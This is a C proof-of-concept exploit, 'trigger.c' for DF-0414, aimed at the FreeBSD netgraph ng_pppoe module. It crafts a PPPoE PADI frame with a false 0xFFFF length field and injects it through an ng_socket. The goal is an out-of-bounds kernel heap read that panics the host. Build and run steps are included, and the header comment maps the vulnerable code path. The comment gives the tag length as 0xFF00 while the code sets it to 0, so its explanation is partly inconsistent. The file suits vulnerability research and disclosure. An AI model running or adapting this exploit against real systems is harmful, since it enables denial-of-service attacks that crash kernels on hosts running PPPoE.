DF-0414 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-0414 trigger: PPPoE discovery ph->length unchecked -> OOB heap read. * * This PoC injects a crafted PPPoE PADI discovery frame directly into a * netgraph ng_pppoe node's "ethernet" hook via an ng_socket. This is the * same code path that ng_pppoe_rcvdata_ether takes when a malicious frame * arrives on a real NIC that an admin has wired up to ng_pppoe for PPPoE * service (the realistic attack: an adjacent network peer sends a single * packet to a host running PPPoE). * * The frame: * - Ethernet dst=ff:ff:.., src=00:11:.., ether_type=0x8863 (PPPoE Disc) * - PPPoE hdr: ver=1/type=1, code=0x09 (PADI), session=0, length=0xFFFF * - One tag: tag_type=0x0001 (not PTT_SRV_NAME), tag_len=0xFF00 * * What the kernel does: * ng_pppoe_rcvdata() (sys/netgraph/pppoe/ng_pppoe.c:881) * -> hook->private == &privp->ethernet_hook (:908) * -> length = ntohs(wh->ph.length) == 0xFFFF (:925) * -> case ETHERTYPE_PPPOE_DISC (:943) * (m_pullup to m_pkthdr.len, then m_len==m_pkthdr.len) * -> case PADI_CODE (:971) * -> get_tag(ph, PTT_SRV_NAME) (:980) * -> end = &ph->tag[0] + 65535 (:286,:275) * -> walk: pt=tag[0], tag_type=0x0001 (no match) * ptn = pt + 4 + 0xFF00 = &tag[0]+0xFF04 (:297) * ptn > end ? NO (:298) * pt = ptn = &tag[0]+0xFF04 (:304) * -> iter2: pt is ~64KB past mbuf * while((pt+1) <= end) -> TRUE * ptn = (pt+1) + ntohs(pt->tag_len) (:297) * *** OOB HEAP READ at pt->tag_type/len *** * -> page fault if unmapped, else garbage * * Build: * cc -o trigger trigger.c -lnetgraph * * Run: * ./trigger * (will panic the kernel if ng_pppoe is reachable; otherwise reports * the data-send status before the panic) */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <netgraph.h> /* userland libnetgraph API */ #include <netgraph/ng_message.h> #include <arpa/inet.h> /* htons */ /* Ethernet + PPPoE layout (matches sys/netgraph/pppoe/ng_pppoe.h struct * pppoe_full_hdr). We build the frame manually so we can choose ph->length * independent of the real payload size. */ struct eth_hdr { unsigned char dst[6]; unsigned char src[6]; unsigned short ether_type; /* host order, we htons() */ }; struct pppoe_hdr { unsigned char ver_type; /* (ver<<4)|type == 0x11 */ unsigned char code; /* PADI_CODE == 0x09 */ unsigned short session; /* 0 */ unsigned short length; /* the bug: claim 0xFFFF */ }; struct pppoe_tag_hdr { unsigned short tag_type; /* network order */ unsigned short tag_len; /* network order */ }; #define ETHERTYPE_PPPOE_DISC 0x8863 #define PADI_CODE 0x09 int main(void) { int cs = -1, ds = -1; int rc; NgSetErrLog(printf, printf); /* Create an ng_socket node: cs=control, ds=data */ rc = NgMkSockNode(NULL, &cs, &ds); if (rc < 0) { fprintf(stderr, "NgMkSockNode failed: %s\n", strerror(errno)); fprintf(stderr, "(does ng_socket need kldload? run: kldload ng_socket)\n"); return 2; } fprintf(stderr, "[+] ng_socket node created (cs=%d ds=%d)\n", cs, ds); /* Make peer: ng_pppoe node connected as mydata <-> pppoe:ethernet */ struct ngm_mkpeer mp; memset(&mp, 0, sizeof(mp)); strlcpy(mp.type, "pppoe", sizeof(mp.type)); strlcpy(mp.ourhook, "mydata", sizeof(mp.ourhook)); strlcpy(mp.peerhook, "ethernet", sizeof(mp.peerhook)); rc = NgSendMsg(cs, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mp, sizeof(mp)); if (rc < 0) { fprintf(stderr, "NgSendMsg MKPEER failed: %s\n", strerror(errno)); fprintf(stderr, "(does ng_pppoe need kldload? run: kldload ng_pppoe)\n"); return 3; } fprintf(stderr, "[+] ng_pppoe peer created on hook 'mydata' <-> 'ethernet'\n"); /* Build the malicious frame. */ unsigned char frame[64]; size_t flen = 0; /* Ethernet header */ memset(frame, 0, sizeof(frame)); memset(frame + 0, 0xff, 6); /* dst = broadcast */ frame[6]=0x00; frame[7]=0x11; frame[8]=0x22;/* src = 00:11:22:33:44:55 */ frame[9]=0x33; frame[10]=0x44; frame[11]=0x55; frame[12] = 0x88; frame[13] = 0x63; /* ether_type = 0x8863 (PPPoE Disc) */ flen = 14; /* PPPoE header: ver=1/type=1, code=PADI, session=0, length=0xFFFF */ frame[14] = 0x11; /* ver=1, type=1 */ frame[15] = PADI_CODE; /* PADI */ frame[16] = 0x00; frame[17] = 0x00; /* session=0 */ frame[18] = 0xff; frame[19] = 0xff; /* length=0xFFFF (the bug) */ flen = 20; /* One tag: type=0x0001 (NOT PTT_SRV_NAME=0x0101), tag_len=0. * With ph->length=0xFFFF, end is 65535 bytes past &tag[0]. * The walker advances pt by (4 + tag_len) = 4 per iteration, so it * must iterate ~16383 times to reach end. Each iteration reads 4 * bytes of pt->tag_type/tag_len from OOB heap. With overwhelming * probability the walk crosses an unmapped page and panics. */ struct pppoe_tag_hdr t; t.tag_type = htons(0x0001); t.tag_len = htons(0x0000); memcpy(frame + flen, &t, sizeof(t)); flen += sizeof(t); /* 24 bytes total */ fprintf(stderr, "[+] Frame: %zu bytes; ph->length claims 65535\n", flen); fprintf(stderr, "[+] Injecting via NgSendData -> pppoe:ethernet ...\n"); fprintf(stderr, "[!] If ng_pppoe is reachable, expect kernel panic now:\n"); fprintf(stderr, " Fatal trap 12: page fault while in kernel mode\n"); fprintf(stderr, " get_tag+0x.. in ng_pppoe\n"); /* Send through our "mydata" hook -> pppoe:ethernet -> ng_pppoe_rcvdata_ether */ rc = NgSendData(ds, "mydata", frame, flen); if (rc < 0) { fprintf(stderr, "NgSendData failed: %s\n", strerror(errno)); return 4; } fprintf(stderr, "[+] NgSendData returned %d (frame delivered)\n", rc); fprintf(stderr, "[+] If you see this, the OOB read did NOT panic the kernel\n"); fprintf(stderr, " (it walked through mapped heap and returned/garbled).\n"); /* Give the kernel a moment, then exit */ sleep(1); return 0; } |